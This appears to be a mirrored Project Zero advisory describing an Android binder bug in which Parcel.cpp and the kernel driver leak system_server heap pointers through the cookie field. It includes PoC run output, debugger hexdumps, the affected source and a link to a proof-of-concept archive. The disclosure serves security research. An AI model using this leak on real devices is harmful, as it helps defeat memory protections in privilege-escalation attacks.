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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889 The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER, a pointer to that object (in the server process) is leaked to the client process as the cookie value. This leads to a leak of a heap address in many of the privileged binder services, including system_server. See attached PoC, which leaks the addresses of allocated heap objects in system_server. Output running from the shell (run on droidfood userdebug build, MTC19X): shell@bullhead:/ $ /data/local/tmp/binder_info_leak --- binder info leak --- [0] opening /dev/binder [0] looking up activity 0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 . 0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 . 0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 . 0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 24offs 8 0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 . 0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000005500000001cookie 0000000000000000 [0] got handle 00000001 0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 . 0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 . 0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 . 0080: 64 d 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 28offs 8 0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 . - type 73682a85flags 0000017fptr 0000007f00000002cookie 0000007f8b9d19c0 [0] got handle 00000000 Debugger output from system_server pwndbg> hexdump 0x0000007f8b9d19c0 +0000 0x7f8b9d19c038 35 76 ab7f 00 00 0000 00 00 0000 00 00 00|85v.|....|....|....| +0010 0x7f8b9d19d065 00 6e 0074 00 5f 0040 d1 0c a87f 00 00 00|e.n.|t._.|@...|....| +0020 0x7f8b9d19e06a 16 20 0000 00 00 0020 ad 81 ab7f 00 00 00|j...|....|....|....| +0030 0x7f8b9d19f0e0 fc 7f 8e7f 00 00 00a0 f2 c7 8a7f 00 00 00|....|....|....|....| +0040 0x7f8b9d1a00 This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects to pass via binder transactions: status_t flatten_binder(const sp<ProcessState>& /*proc*/, const sp<IBinder>& binder, Parcel* out) { flat_binder_object obj; obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS; if (binder != NULL) { IBinder *local = binder->localBinder(); if (!local) { BpBinder *proxy = binder->remoteBinder(); if (proxy == NULL) { ALOGE("null proxy"); } const int32_t handle = proxy ? proxy->handle() : 0; obj.type = BINDER_TYPE_HANDLE; obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */ obj.handle = handle; obj.cookie = 0; } else { obj.type = BINDER_TYPE_BINDER; obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs()); obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object } } else { obj.type = BINDER_TYPE_BINDER; obj.binder = 0; obj.cookie = 0; } return finish_flatten_binder(binder, obj, out); } and the kernel code which processes this to send to the target process modifies the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which contains the second pointer. case BINDER_TYPE_BINDER: case BINDER_TYPE_WEAK_BINDER: { struct binder_ref *ref; struct binder_node *node = binder_get_node(proc, fp->binder); if (node == NULL) { node = binder_new_node(proc, fp->binder, fp->cookie); if (node == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_new_node_failed; } node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK; node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS); } if (fp->cookie != node->cookie) { binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n", proc->pid, thread->pid, (u64)fp->binder, node->debug_id, (u64)fp->cookie, (u64)node->cookie); goto err_binder_get_ref_for_node_failed; } if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } ref = binder_get_ref_for_node(target_proc, node); if (ref == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } if (fp->type == BINDER_TYPE_BINDER) fp->type = BINDER_TYPE_HANDLE; else fp->type = BINDER_TYPE_WEAK_HANDLE; fp->handle = ref->desc; binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE, &thread->todo); trace_binder_transaction_node_to_ref(t, node, ref); binder_debug(BINDER_DEBUG_TRANSACTION, "node %d u%016llx -> ref %d desc %d\n", node->debug_id, (u64)node->ptr, ref->debug_id, ref->desc); } break; In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because a uint32_t is smaller than a binder_uintptr_t. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip |
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